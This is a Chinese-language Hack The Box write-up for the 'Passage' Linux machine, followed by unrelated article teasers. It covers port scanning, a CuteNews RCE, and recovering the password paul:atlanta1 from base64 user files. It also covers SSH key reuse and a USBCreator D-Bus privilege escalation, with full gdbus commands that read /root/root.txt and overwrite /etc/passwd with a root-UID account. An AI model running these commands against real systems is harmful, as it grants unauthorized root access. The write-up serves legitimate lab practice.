【Hack The Box】linux练习-- Passage

news2024/11/30 0:39:48

HTB 学习笔记

【Hack The Box】linux练习-- Passage


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • rss
    • 分析
    • 提权
    • navad->root
    • USBCreator
        • 读取
    • 写入

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在这里插入图片描述获得以下信息
admin - nadav@passage.htb
Paul Coles - paul@passage.htb
Kim Swift - kim@example.com
Sid Meier - sid@example.com
James - james@example.com
在这里插入图片描述进行了一下目录扫描
直接崩了,有waf

rss

页面右侧rss按钮源码显示xml在这里插入图片描述发现url还显示了一个页面
尝试
去掉rss.php显示登录页面在这里插入图片描述发现左上角标题显示这是个cms
在这里插入图片描述

存在许多漏洞,尝试发现版本信息
我将注册并登陆

存在文件上传
在这里插入图片描述
并且逛着逛着发现
版本2.1.2
在这里插入图片描述没毛病,开始利用rce
在这里插入图片描述随便找一个都能用
这里就不举例了

在这里插入图片描述
去到/home
发现两个用户
nadav
paul

我目前试图寻找其中任何一个用户的密码
我的第一思路是在数据库中获得

在这里插入图片描述
但是当我在他的github中看这个cms的时候,我发现他好像并没有数据库
那我就有点不会了,我先看看别的,作为一个www用户,我要开始下面的进程

分析

作为www用户,我第一步往往是在var内搜索

/var/www/html/CuteNews/cdata/users
发现了很多用户的base64

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现会包含密码,但是不是这个文件
最终获得的凭证为下面的这个,其他的base64解码之后没有任何的密码字段

paul:atlanta1

在这里插入图片描述su paul

提权

我的linpeas提醒我一个漏洞点
在这里插入图片描述
在这里插入图片描述
接着我寻求更稳定的shell
我尝试去拿ssh
在这里插入图片描述
发现署名是nadav
那我估计可以搞到这个用户了
现在把私钥复制粘贴出来
在我给予私钥600权限后,他可以正常使用
在这里插入图片描述
在这里插入图片描述

navad->root

作为一个用户,我将在用户目录下细致的查看,通常使用ls -la
我发现了两个奇怪可疑的东西
viminfo是一个vim的历史日志一类的东西
在这里插入图片描述
在这里插入图片描述提到了
如下两个文件

/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf

这两个东西,但是我都不具有权限

USBCreator

缺陷
允许有权访问 sudoer 组中用户的攻击者绕过 sudo 程序强加的密码安全策略。 该漏洞允许攻击者以 root 身份覆盖具有任意内容的任意文件,而无需提供密码。 这通常会导致特权提升,例如,通过覆盖影子文件并为 root 设置密码。

读取

利用这个漏洞非常简单。 它需要一个 shell 作为sudo组,如果我有 nadav 的密码,我可能会 sudo su -得到一个壳,但我没有。

我会用这个错误来复制 root.txt到一个不存在的文件,比如 /dev/shm/.0xdf:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/dashabi true

cat /dev/shm/dashabi 

在这里插入图片描述

写入

cp /etc/passwd passwd
openssl passwd -1 rong
echo 'rong:$1$7P/yeC8J$z2eywF.JUPm21Dx0IqVEp.:0:0:pwned:/root:/bin/bash' >> passwd 
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd true
su rong

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41377.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅析数据仓库和建模理论

第一章 认识数据仓库 1.1 数据仓库概念 数据仓库,英文名称为 Data Warehouse,可简写为 DW 或 DWH。数据仓库,是为企业所有级别的决策制定过程,提供所有类型数据支持的战略集合。它是单个数据存储,出于分析性报告和决…

BDD - SpecFlow SpecRun Web UI 多浏览器测试

BDD - SpecFlow & SpecRun 一个 Cases 匹配多个浏览器引言方案SpecFlow Runner profiles实现被测 Web Application创建一个 Class Libary 项目添加 NuGet PackagesSpecFlow & SpecRun 包添加 Selenium包其它包创建 Feature 文件配置 Default.srprofileDefault.srprofil…

MySQL的概念

MySQL的概念一.数据库的基本概念1、数据(Data)2、表3、数据库4、数据库管理系统(DBMS)4.1 关系数据库4.2 非关系型数据库 NoSQL5、数据库系统6、访问数据库的流程二.数据库系统发展史1.第一代数据库2.第二代数据库3.第三代数据库三…

JAVA多线程(MultiThread)的各种用法

多线程简单应用 单线程的问题在于,一个线程每次只能处理一个任务,如果这个任务比较耗时,那在这个任务未完成之前,其它操作就会无法响应。 如下示例中,点击了“进度1”后,程序界面就没反应了,强行…

类文件结构和初识一些字节码指令

文章目录类文件的结构为什么要了解字节码指令Class文件结构Java虚拟机规定的类结构魔数版本常量池访问标志类索引、父类索引、接口索引Ⅰ. interfaces_count(接口计数器)Ⅱ. interfaces[](接口索引集合)字段表集合**1. 字段表访问…

【React】使用 react-pdf 将数据渲染为pdf并提供下载

文章目录前言环境步骤1. 安装react脚手架2. 使用 create-react-app 创建项目 (首字母不要大写、不要使用特殊字符)3. 用 vscode 打开目录 react-staging4. yarn 启动项目5. 参考 react-pdf readme加入依赖6. 结合 github readme 和官方文档产出 demo 代码…

OpenGL 色彩替换

目录 一.OpenGL 色彩替换 1.IOS Object-C 版本1.Windows OpenGL ES 版本2.Windows OpenGL 版本 二.OpenGL 色彩替换 GLSL Shader三.猜你喜欢 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录 >> OpenGL ES 基础 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录…

防抖debounce与节流throttle(63rd)

一、前言 当用户高频触发某一事件时,如窗口的resize、scroll,输入框内容校验等,此时这些事件调用函数的频率如果没有限制,可能会导致响应跟不上触发,出现页面卡顿,假死现象。此时,我们可以采用…

深度剖析NIKE Web3平台:为什么Web3对品牌很重要?

欢迎关注沉睡者IT,点上面关注我 ↑ ↑ 上周,NIKE 宣布了其新的 Web 3 平台 .SWOOSH,这是 NIKE Virtual Sudios (耐克虚拟工作室) 的一项新举措,将成为 NIKE 所有数字资产创作的“大本营”。继去年收购 RTFKT 之后,此次…

SpringBoot SpringBoot 原理篇 3 核心原理 3.4 启动流程【3】

SpringBoot 【黑马程序员SpringBoot2全套视频教程,springboot零基础到项目实战(spring boot2完整版)】 SpringBoot 原理篇 文章目录SpringBootSpringBoot 原理篇3 核心原理3.4 启动流程【3】3.4.1 看源码咯3 核心原理 3.4 启动流程【3】 …

负载均衡反向代理下的webshell上传

目录 架构如下: 实验环境: AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs 搭建环境: 启动环境: 测试连接: 地址不停的在漂移会造成的问题: 难点一:我们需要在每一台节点…

特征工程(六)—(2)利用LDA进行特征转换

1、LDA的手动处理 LDA(线性判别分析)是特征变换算法,也是有监督分类器。 和PCA一样,LDA的目标是提取一个新的坐标系,将原始的数据集投影到一个低维的空间中。 和PCA的主要区别是,LDA不会专注数据的方差&a…

[附源码]计算机毕业设计JAVA实验教学过程管理平台

[附源码]计算机毕业设计JAVA实验教学过程管理平台 项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM my…

【Hack The Box】linux练习-- Magic

HTB 学习笔记 【Hack The Box】linux练习-- Magic 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月21日🌴 &#x1f36…

Js逆向教程17-极验滑块 实现加密算法的逻辑

Js逆向教程17-极验滑块 实现加密算法的逻辑 还是和上节课一样,针对这个网址 https://www.geetest.com/demo/slide-float.html 一、加密算法的结果查看 计算u运行后的结果: a45a0551c344b03be428cab551f9755f073e64061c35988a29d6ba70e7d35c8b9e963b63…

全波形反演的深度学习方法: 第二章 正演 (草稿)

本章介绍正演的基础知识. 本贴的目的是进行内部培训, 错误之处较多, 希望不要误导读者. 2.1 弦线波动基本原理 波动方程是正演的基础. 最简单的模型是在一根弦上的波动, 假设如下: 横震动. 例如拨动吉他弦;微小震动. 满足 u(xΔx,t)−u(x,t)≪Δxu(x \Delta x, t) - u(x, t…

Redis学习(三)之 分布式锁详解

1、redis分布式锁相关的可以移步这篇文章redis做分布式锁实战案例详解_酒书的博客-CSDN博客 这里是对该篇文章的加深与补充 2.集群主从切换导致锁丢失问题:在redis主从架构中,写入都是写入到主redis中,主redis会同步数据到slave机器&#x…

Mybatis插件机制

什么是插件机制 插件插件, 就是能在执行某个方法之前加入一些功能代码, 有啥方法能够实现呢?当然是动态代理了, 为啥要使用动态代理应为他是为了写框架扩展性必备的东西。 只要定义一些接口 或者类 就行使用jdk自带的或者CGLIB之…

分布式NoSQL数据库HBase实践与原理剖析(二)

title: HBase系列 第五章 HBase核心原理 5.1 系统架构 注意,其实上图中的HLog应该在HRegionServer里面,而不是在HRegion里面。所以图有点点问题。其实通过后面的物理存储的图也能发现这个问题。 Client 职责 1、HBase 有两张特殊表: .meta.…

力扣 21. 合并两个有序链表 C语言实现

题目描述: 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 题目链接 方法1:遍历 新建一个链表 newList 用于存放合并后的链表,设置一个指针指向该链表最后一个位置的 next&#xff0c…